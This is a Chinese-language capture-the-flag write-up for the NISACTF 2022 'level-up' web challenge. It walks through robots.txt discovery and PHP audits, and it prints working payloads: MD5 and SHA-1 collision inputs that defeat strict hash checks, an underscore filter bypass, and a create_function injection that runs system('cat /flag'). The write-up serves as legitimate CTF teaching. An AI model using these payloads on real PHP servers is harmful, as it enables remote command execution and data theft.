第二周3 

题目 ： [NISACTF 2022]level-up

  1. 打开环境 如我所料 啥也没有
    看一下源代码 有个标志“disallow”（是robots.txt文件的标志）
    看一下robos.txt文件

  2.

User-agent: *
Disallow:
Disallow: level_2_1s_h3re.php

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   弹出来这个level_2_1s_h3re.php文件  看一下

3. ``` bash
   <?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed ...");
    }
}
else{
    show_source(__FILE__);
}
?>

发现这个代码 审计一下
发现是个强比较绕过 但这个题目不能用数组
用数组 $a1 = (string)$_POST[‘array1’];
$a2 = (string)$POST[‘array2’];
会导致array1=array2=null 都为空 无法绕过
这个时候可以用碰撞相等的方式
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%
6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d
3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%f
b%5f%07%fe%a2来绕过
4. 绕过后发现了 Level___3.php 文件
打开文件 又发现一串php代码
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  <?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (sha1($a1) === sha1($a2)){
        echo $level4;
    }
    else{
        die("level 3 failed ...");
    }
}
else{
    show_source(__FILE__);
}
?>

代码审计一下 与上面一样都不能用数组绕过
可以用array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/
Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D
8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%
AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W
%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D
0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200
%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%
3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%
B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C
2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A
8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
来进行绕过
发现文件level_level_4.php文件
5. 打开level_level_4.php文件看一下 发现这个php代码
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    <?php
//here is last level
    error_reporting(0);
    include "str.php";
    show_source(__FILE__);

    $str = parse_url($_SERVER['REQUEST_URI']);
    if($str['query'] == ""){
        echo "give me a parameter";
    }
    if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
        die("blacklist here");
    }
    if($_GET['NI_SA_'] === "txw4ever"){
        die($level5);
    }
    else{
        die("level 4 failed ...");
    }
?>

简单说一下 就是用NI_SA=txw4ever 就行 但需要把_换为+
否则因php代码特性会导致变量名变化
得出 55_5_55.php文件
6. 看一下55_5_55.php文件 仍为pgp代码
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   <?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}

“ $a(‘’,$b);”整个代码就是考察这个内容
create_function自带eval命令执行，因此我们需要传入$a为\create_function；
而对于参数$b，我们需要让它执行system()函数，用于回显flag，因此传入$b为“}system(‘cat /flag’);//”
payload : a=\create_function&b=}system(‘cat /flag’);//
即可求出flag

  1. 总结：
    这题的知识点众多 要对md5的绕过知识充分理解
    还要对php代码特性有理解